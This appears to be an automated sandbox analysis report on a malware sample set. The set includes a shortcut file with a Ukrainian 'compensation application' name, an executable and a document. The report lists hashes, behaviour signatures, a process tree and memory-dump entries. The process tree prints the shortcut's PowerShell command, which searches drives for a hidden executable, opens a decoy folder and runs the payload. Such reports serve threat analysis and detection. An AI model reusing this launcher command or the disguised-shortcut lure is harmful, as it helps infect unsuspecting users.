Overview
overview
10Static
static
jfilyg7.exe
windows7-x64
3jfilyg7.exe
windows10-1703-x64
3jfilyg7.exe
windows10-2004-x64
10ЗАЯВА...ї.lnk
windows7-x64
3ЗАЯВА...ї.lnk
windows10-1703-x64
3ЗАЯВА...ї.lnk
windows10-2004-x64
7ЗАЯВА...ж.doc
windows7-x64
4ЗАЯВА...ж.doc
windows10-1703-x64
1ЗАЯВА...ж.doc
windows10-2004-x64
1Analysis
-
max time kernel
144s -
max time network
147s -
platform
windows10-1703_x64 -
resource
win10-20220901-en -
resource tags
arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system -
submitted
16-09-2022 11:43
Static task
static1
Behavioral task
behavioral1
Sample
jfilyg7.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
jfilyg7.exe
Resource
win10-20220812-en
Behavioral task
behavioral3
Sample
jfilyg7.exe
Resource
win10v2004-20220812-en
Behavioral task
behavioral4
Sample
ЗАЯВА-на-отримання-компенсації.lnk
Resource
win7-20220812-en
Behavioral task
behavioral5
Sample
ЗАЯВА-на-отримання-компенсації.lnk
Resource
win10-20220901-en
Behavioral task
behavioral6
Sample
ЗАЯВА-на-отримання-компенсації.lnk
Resource
win10v2004-20220812-en
Behavioral task
behavioral7
Sample
ЗАЯВА/3_ЗАЯВА-на-отримання-компенсації-додаткової-зниж.doc
Resource
win7-20220812-en
Behavioral task
behavioral8
Sample
ЗАЯВА/3_ЗАЯВА-на-отримання-компенсації-додаткової-зниж.doc
Resource
win10-20220812-en
Behavioral task
behavioral9
Sample
ЗАЯВА/3_ЗАЯВА-на-отримання-компенсації-додаткової-зниж.doc
Resource
win10v2004-20220901-en
General
-
Target
ЗАЯВА-на-отримання-компенсації.lnk
-
Size
411KB
-
MD5
c15aa00479cae0a8bae7c926d7fd8ba6
-
SHA1
9c7c059e617380eb7bf5b5ae41b2874e2cf5111c
-
SHA256
bc4cab14e4b378a7b98185367b4778f92eb4335faba1a4503f4cfb7aba8f13e7
-
SHA512
79067ef1afbd879b3ab011354a626e567ebf463fd60f4c5d82c7332906fa4e6c9e85e8d33926cf7c2ed037a7b7eee92a4ce17020450442443740286efa4b2e72
-
SSDEEP
24:8y+wj/erlZygbDhw+svWP2+sv30PvcNnCsCcOrAI+/1:8m/6lZWnrPccCssAI
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3508 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.exepowershell.exedescription pid process target process PID 2696 wrote to memory of 3508 2696 cmd.exe powershell.exe PID 2696 wrote to memory of 3508 2696 cmd.exe powershell.exe PID 2696 wrote to memory of 3508 2696 cmd.exe powershell.exe PID 3508 wrote to memory of 1796 3508 powershell.exe findstr.exe PID 3508 wrote to memory of 1796 3508 powershell.exe findstr.exe PID 3508 wrote to memory of 1796 3508 powershell.exe findstr.exe PID 3508 wrote to memory of 2728 3508 powershell.exe findstr.exe PID 3508 wrote to memory of 2728 3508 powershell.exe findstr.exe PID 3508 wrote to memory of 2728 3508 powershell.exe findstr.exe PID 3508 wrote to memory of 4124 3508 powershell.exe findstr.exe PID 3508 wrote to memory of 4124 3508 powershell.exe findstr.exe PID 3508 wrote to memory of 4124 3508 powershell.exe findstr.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\ЗАЯВА-на-отримання-компенсації.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Command $f = 'jfilyg7';Foreach($d in Get-PSDrive|ForEach-Object{$PSItem.Root} | findstr ':\') {$w=gci -hidden $d | findstr $f;if($w.Contains($f)){break}};ii $d'ЗАЯВА';start($d+$f)2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\findstr.exe"C:\Windows\system32\findstr.exe" :\3⤵
-
C:\Windows\SysWOW64\findstr.exe"C:\Windows\system32\findstr.exe" jfilyg73⤵
-
C:\Windows\SysWOW64\findstr.exe"C:\Windows\system32\findstr.exe" jfilyg73⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1796-245-0x0000000000000000-mapping.dmp
-
memory/2728-264-0x0000000000000000-mapping.dmp
-
memory/3508-120-0x0000000000000000-mapping.dmp
-
memory/3508-121-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-122-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-123-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-124-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-125-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-126-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-127-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-128-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-130-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-131-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-129-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-134-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-133-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-135-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-132-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-137-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-136-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-138-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-139-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-140-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-141-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-142-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-143-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-144-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-145-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-146-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-147-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-148-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-149-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-150-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-151-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-152-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-153-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-155-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-156-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-157-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-158-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-159-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-160-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-162-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-161-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-163-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-154-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-164-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-165-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-166-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-167-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-168-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-169-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-170-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-171-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-172-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-173-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-174-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-175-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-176-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-177-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-178-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-179-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-180-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-181-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-182-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-183-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-184-0x0000000077890000-0x0000000077A1E000-memory.dmpFilesize
1.6MB
-
memory/3508-193-0x0000000006B60000-0x0000000006B96000-memory.dmpFilesize
216KB
-
memory/3508-196-0x00000000072A0000-0x00000000078C8000-memory.dmpFilesize
6.2MB
-
memory/3508-206-0x0000000007150000-0x0000000007172000-memory.dmpFilesize
136KB
-
memory/3508-209-0x0000000007940000-0x00000000079A6000-memory.dmpFilesize
408KB
-
memory/3508-210-0x0000000007A90000-0x0000000007AF6000-memory.dmpFilesize
408KB
-
memory/3508-211-0x0000000007B00000-0x0000000007E50000-memory.dmpFilesize
3.3MB
-
memory/3508-214-0x0000000007A20000-0x0000000007A3C000-memory.dmpFilesize
112KB
-
memory/3508-215-0x0000000008400000-0x000000000844B000-memory.dmpFilesize
300KB
-
memory/3508-219-0x0000000008170000-0x00000000081E6000-memory.dmpFilesize
472KB
-
memory/3508-229-0x0000000009300000-0x0000000009394000-memory.dmpFilesize
592KB
-
memory/3508-230-0x0000000009010000-0x000000000902A000-memory.dmpFilesize
104KB
-
memory/3508-231-0x0000000009260000-0x0000000009282000-memory.dmpFilesize
136KB
-
memory/3508-232-0x00000000098A0000-0x0000000009D9E000-memory.dmpFilesize
5.0MB
-
memory/3508-243-0x0000000009440000-0x000000000948A000-memory.dmpFilesize
296KB
-
memory/3508-259-0x000000000A420000-0x000000000AA98000-memory.dmpFilesize
6.5MB
-
memory/4124-283-0x0000000000000000-mapping.dmp